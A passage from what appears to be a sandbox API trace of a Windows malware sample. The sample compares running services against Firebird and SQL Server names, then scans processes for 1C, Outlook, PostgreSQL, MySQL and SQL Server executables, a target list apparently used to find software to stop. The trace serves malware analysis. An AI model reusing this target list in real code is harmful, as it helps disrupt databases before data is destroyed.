(lpString="DcomLaunch") returned 10 [0036.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.079] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.079] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.079] lstrlenW (lpString="Dhcp") returned 4 [0036.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.080] lstrlenW (lpString="Dnscache") returned 8 [0036.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.080] lstrlenW (lpString="DPS") returned 3 [0036.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.080] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.080] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.080] lstrlenW (lpString="eventlog") returned 8 [0036.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.080] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.080] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.080] lstrlenW (lpString="EventSystem") returned 11 [0036.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.080] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.080] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.080] lstrlenW (lpString="gpsvc") returned 5 [0036.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.080] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.081] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.081] lstrlenW (lpString="iphlpsvc") returned 8 [0036.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.081] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.081] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.081] lstrlenW (lpString="LanmanServer") returned 12 [0036.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.081] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.081] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.081] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.081] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.081] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.081] lstrlenW (lpString="lmhosts") returned 7 [0036.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.081] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.081] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.081] lstrlenW (lpString="MMCSS") returned 5 [0036.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.082] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.082] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.082] lstrlenW (lpString="MpsSvc") returned 6 [0036.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.082] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.082] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.082] lstrlenW (lpString="Netman") returned 6 [0036.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.082] lstrlenW (lpString="netprofm") returned 8 [0036.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.082] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.082] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.082] lstrlenW (lpString="NlaSvc") returned 6 [0036.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.082] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.082] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.083] lstrlenW (lpString="nsi") returned 3 [0036.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.083] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.083] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.083] lstrlenW (lpString="PcaSvc") returned 6 [0036.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.083] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.083] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.083] lstrlenW (lpString="PlugPlay") returned 8 [0036.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.083] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.083] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.083] lstrlenW (lpString="Power") returned 5 [0036.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.083] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.083] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.083] lstrlenW (lpString="ProfSvc") returned 7 [0036.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.083] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.083] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.084] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.084] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.084] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.084] lstrlenW (lpString="RpcSs") returned 5 [0036.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.084] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.084] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.084] lstrlenW (lpString="SamSs") returned 5 [0036.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.084] lstrlenW (lpString="Schedule") returned 8 [0036.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.084] lstrlenW (lpString="SENS") returned 4 [0036.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.085] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.085] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.085] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.085] lstrlenW (lpString="Spooler") returned 7 [0036.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.085] lstrlenW (lpString="SysMain") returned 7 [0036.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.085] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.085] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.085] lstrlenW (lpString="Themes") returned 6 [0036.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.085] lstrlenW (lpString="TrkWks") returned 6 [0036.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.085] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.085] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.085] lstrlenW (lpString="UxSms") returned 5 [0036.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.086] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.086] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.086] lstrlenW (lpString="VSS") returned 3 [0036.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0036.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0036.086] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0036.086] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0036.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0036.086] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.086] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.086] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.086] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.086] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.086] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.086] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.086] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.086] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.087] lstrlenW (lpString="Winmgmt") returned 7 [0036.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.087] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.087] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.087] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5644a8 | out: hHeap=0x510000) returned 1 [0036.087] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0036.089] Process32FirstW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.090] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.090] lstrlenW (lpString="System") returned 6 [0036.090] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.090] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.090] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.090] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.091] lstrlenW (lpString="smss.exe") returned 8 [0036.091] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.091] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.091] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.091] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.092] lstrlenW (lpString="csrss.exe") returned 9 [0036.092] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.092] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.092] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.092] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.092] lstrlenW (lpString="wininit.exe") returned 11 [0036.092] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.092] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.092] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.093] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.093] lstrlenW (lpString="csrss.exe") returned 9 [0036.093] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.093] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.094] lstrlenW (lpString="winlogon.exe") returned 12 [0036.094] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.094] lstrlenW (lpString="services.exe") returned 12 [0036.094] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.095] lstrlenW (lpString="lsass.exe") returned 9 [0036.095] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.095] lstrlenW (lpString="lsm.exe") returned 7 [0036.095] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.096] lstrlenW (lpString="svchost.exe") returned 11 [0036.096] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.096] lstrlenW (lpString="svchost.exe") returned 11 [0036.096] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.097] lstrlenW (lpString="svchost.exe") returned 11 [0036.097] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.098] lstrlenW (lpString="svchost.exe") returned 11 [0036.098] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.101] lstrlenW (lpString="svchost.exe") returned 11 [0036.101] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.101] lstrlenW (lpString="audiodg.exe") returned 11 [0036.101] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.102] lstrlenW (lpString="svchost.exe") returned 11 [0036.102] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: 